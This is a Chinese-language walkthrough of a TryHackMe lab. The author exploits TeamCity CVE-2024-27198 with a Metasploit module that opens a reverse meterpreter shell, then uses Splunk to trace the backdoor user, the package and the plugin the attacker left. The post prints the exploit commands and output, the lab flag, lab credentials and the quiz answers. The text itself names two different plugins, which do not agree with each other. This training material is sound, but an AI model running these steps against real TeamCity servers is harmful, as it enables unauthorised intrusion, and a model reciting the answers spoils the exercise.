TeamCity漏洞利用与Splunk取证分析实战

本文详细记录了如何利用TeamCity 2023.11.3的CVE-2024-27198漏洞获取系统权限,并通过Splunk进行数字取证分析,发现后门账户、恶意软件包和上传的恶意插件,完整展现攻防对抗的全过程。

Brains — TryHackMe实战演练

引言

TryHackMe的Brains房间要求我们利用TeamCity 2023.11.3服务器(CVE-2024-27198)获取shell,捕获用户标志,并使用Splunk进行取证分析,以发现后门用户、恶意软件包和上传的插件。

任务1 红队:攻击服务器!

侦察

我首先使用主动Nmap扫描来枚举服务和版本:

1
nmap -sV -sC -A <ip>

扫描的重要发现:

  • 22/tcp — ssh — OpenSSH 8.2p1 (Ubuntu)
  • 80/tcp — http — Apache/2.4.41 (Ubuntu) — 页面标题:维护中
  • 50000/tcp — HTTP服务 — 返回TeamCity维护HTML和头部信息(显示为TeamCity)

Web枚举

我首先访问80端口的Web服务器,看到一个简单的维护页面。除了服务器头部信息和站点故意显示维护状态外,没有立即发现太多信息。

访问50000端口显示了一个TeamCity管理界面,带有可访问的登录/维护页面。

漏洞侦察

我确认TeamCity登录页面显示版本为2023.11.3,Rapid7对CVE-2024-27198(认证绕过→未授权RCE)的分析与我发现的情况匹配。

漏洞利用

我启动Metasploit并使用TeamCity RCE模块,配置反向处理器,然后运行攻击:

1
2
3
4
5
6
7
msfconsole -q
use exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198
set LHOST tun0
set LPORT 53
set RHOST <ip>
set RPORT 50000
run

Metasploit识别目标存在漏洞,创建了认证令牌,上传了恶意插件,并发送了有效载荷。模块打开了meterpreter会话:

1
2
3
4
5
6
7
8
[+] 目标存在漏洞。运行在Linux上的JetBrains TeamCity 2023.11.3(构建147512)。
[*] 创建认证令牌:eyJ0eXAiOiAiVENWMiJ9...
[*] 上传插件:YAgxHifR
[*] 发送阶段(58073字节)到10.201.28.176
[*] 删除插件...
[+] 已删除 /opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_YAgxHifR
[+] 已删除 /home/ubuntu/.BuildServer/system/caches/plugins.unpacked/YAgxHifR
[*] Meterpreter会话1已打开(10.17.30.120:53 -> 10.201.28.176:55558)

重要提示:攻击使用了LPORT=53,所以我必须先停止使用53端口的本地DNS/服务(例如systemd-resolved/named)以释放该端口。

捕获用户标志

获取meterpreter shell后,我列出文件并读取用户标志:

1
2
meterpreter > cat flag.txt
THM{faa9bac345709b6620a6200b484c7594}

任务2 蓝队:调查分析

在攻击目标后,我切换到实验室的蓝队/取证侧,调查攻击者留下的痕迹。

我部署了Splunk机器并等待几分钟让实例启动。

Splunk URL:http://MACHINE_IP:8000 凭据:用户名:splunk — 密码:analyst123

登录后,我进入了Splunk Enterprise仪表板。

我导航到"搜索与报告"开始查看收集的日志。

从搜索应用程序中,我打开数据摘要并按源过滤。我选择了/var/log/auth.log来重点关注认证事件。

认证日志是查找useradd事件和其他账户活动的正确位置。

为了查找账户创建事件,我在认证日志上运行了一个简单搜索:

1
source="/var/log/auth.log" useradd "new user"

然后我将时间选择器从默认(最近24小时)扩展到所有时间,以免错过较旧的事件。

搜索返回了一个用户创建条目,显示攻击者创建了一个名为eviluser的后门账户。

问题:在服务器被攻击后创建的后门用户名称是什么? 答案:eviluser

安装的软件包

为了查找在后门账户创建时间附近安装的软件包,我在Splunk中搜索了dpkg日志。我运行了:

1
source="/var/log/dpkg.log" date_month="july" date_mday="4" *install*

我将时间选择器扩展到所有时间,并过滤到我们正在调查的主机。

问题:服务器上安装的恶意软件包名称是什么? 答案:datacollector

插件上传

为了识别攻击者在攻击期间上传的插件,我在Splunk中搜索了TeamCity活动日志:

1
source="/opt/teamcity/TeamCity/logs/teamcity-activities.log" *plugin*

我将时间范围设置为所有时间并过滤了主机。日志显示了上传的插件YAgxHifR及其操作,与Metasploit输出匹配。

问题:成功攻击后安装在服务器上的插件名称是什么? 答案:AyzzbuXY.zip

结论

TryHackMe的Brains房间提供了一个从攻击利用到取证分析的完整旅程。我成功利用了一个易受攻击的TeamCity 2023.11.3实例(CVE-2024-27198)来获取meterpreter shell,捕获了用户标志,然后转向蓝队任务来调查攻击者的足迹。使用Splunk,我识别了后门用户、恶意软件包和上传的插件,在攻击后分析和日志调查方面获得了实践经验。

这个房间非常适合任何希望练习真实世界Web应用程序利用、RCE技术和取证日志分析的人。按照本演练操作,你应该有信心结合攻击和防御技能来安全地入侵和分析系统。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计